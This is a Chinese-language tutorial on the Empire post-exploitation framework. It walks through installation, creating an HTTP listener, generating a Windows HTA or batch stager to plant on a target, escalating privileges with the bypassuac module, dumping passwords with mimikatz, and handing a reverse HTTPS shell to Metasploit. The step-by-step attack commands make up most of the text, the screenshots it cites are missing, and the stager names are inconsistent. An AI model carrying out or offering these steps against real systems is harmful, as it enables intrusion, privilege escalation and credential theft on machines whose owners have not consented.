后渗透工具Empire使用教程
一、前言
Empire是一个PowerShell后期漏洞利用代理工具同时也是一款很强大的后渗透测神器,它建立在密码学、安全通信和灵活的架构之上。Empire实现了无需powershell.exe就可运行PowerShell代理的功能。快速部署后期漏洞利用模块,从键盘记录器到Mimikatz,并且能够适应通信躲避网络检测,所有的这些功能都封装在一个以实用性为重点的框架中
二、empire使用详解
1.Empire 的安装
git clone https://github.com/EmpireProject/Empire.git
unzip Empire-master.zip
cd Empire-master
cd setup/
./install.sh
(最后输入数据库密码)
2.设置监听
cd Empire-master
./empire
(Empire) > help #主菜单帮助命令
(Empire) > listeners #查看本地监听代理地址,现在还没有会话代理,所以为空
进入后需要使用监听种类,输入 uselistener 加空格然后两下 tab 可列出所有的可使用监听类,这里我们使用 http
(Empire: listeners) > info #列出详细信息
(Empire: listeners) > set Name bk #设置Name为bk
(Empire: listeners) > execute #执行命令,这条命令将其name设置生效
至此,监听工作完成。我们开始配置生成后门。
3、生成木马
设置好监听后通过 back 命令返回上一级,然后使用 usestager 命令来指定生成木马的类型,通过空格加两下 tab 可查看所有生成文件的类型,这里我们使用 windows/hta,即 windows 平台下的 hta文件,同样,通过 info 查看此模块的详细信息。
(Empire: listeners/http) > back #返回上层模块
(Empire: listeners/http) > usestager #空格加两下tab
生成的文件类型大体有三类,multi 开头的是通用类,osx 开头即 mac 使用,windows 即 win 平台使用。
(Empire: listeners) > usestager windows/launcher_bat bk # 选择木马种类
这里选择的是hta类型的脚本,当然也可以选择其他的。后面的bk就是刚刚设置的监听,这个模块就是依据监听的配置信息,生成相应的木马,让反弹马找到连接主机。
(Empire: stager/windows/launcher_bat) > info #查看需要配置的参数信息
(Empire: stager/windows/hta > execute #执行生成木马
将代码保存为hta文件,放到服务器上。
在目标机器上访问
运行命令后,我们回到我们的机器可以看到已经获取到了客户端的一个会话
(Empire: stager/windows/launcher_bat) > agents #查看获取的代理会话
一个会话已经建立完成。
(Empire: agents) > rename DPFXWKY9 win10 #更改会话名字
(Empire: agents) > interact win10 #和该会话交互
我们通过 help 可查看一些命令和一些提供的内网渗透常用的工具
4、提权
如果想执行 windows 系统自带的命令,可以通过 shell 加命令的格式,例如查看当前 shell 的权限,我们输入 shell whoami /groups,返回了 medium 即非高权限,如下图:
非高权限的话,很多命令使用会有限制,例如 mimikatz,所以下面需要提升权限,这里我们使用 bypassuac,首先 empire 提供了很多使用模块,这里我们通过 usemodule 空格加两下 tab 可查看全部模块,有二百多个,如下图:
bypassuac 提权我们使用 usemodule privesc/bypassuac 这个模块,然后 info 查看其信息,如下图:
这里我们需要设置的参数还是 Listener,即监听的名称,这里是 bk,如下图:
设置后通过 execute 执行,成功后会返回一个新的 shell
随后我们通过 agents 查看已有的 shell,username 前带 * 号的就是高权限已经提权成功的 shell。
这时 mimikatz 已可以使用,输入 mimikatz 来获取目标账号密码,如下图:
通过 mimikatz 获取后,若在内网机器较多,为了查看方便,我们可以通过 creds 命令来直接列出其密码,如下图:
5、反弹shell给msf
empire 若需要结合 msf 使用,则可以将得到的 shell 反给 msf,使用模块 code_execution/invoke_shellcode,info 信息如下:
这里需要设置下Lhost 和Lport,Lhost 即 msf 所在机器的 ip,Lport 即 msf 监听反弹 shell 的端口,还有一个参数注意下,就是payload,默认值是 reverse_https,这个不用改,我们 msf 设置监听时 payload 需要和其一致,也需要设置成 reverse_https,设置后我们先不执行 execute 命令,先把 msf 监听设置好:
msf 的 payload 设置为 windows/meterpreter/reverse_https,Lhost 为本机所在的 ip,Lport 端口和刚才 empire 设置的一样,这里是 4444,然后 exploit 执行监听,这时返回 empire 执行 execute,停一会会看到 msf 已经收到了 shell,如下图:
返回 shell 后,我们可以执行 whoami /groups 看下权限,可以看到返回的是高权限的 shell,如下图: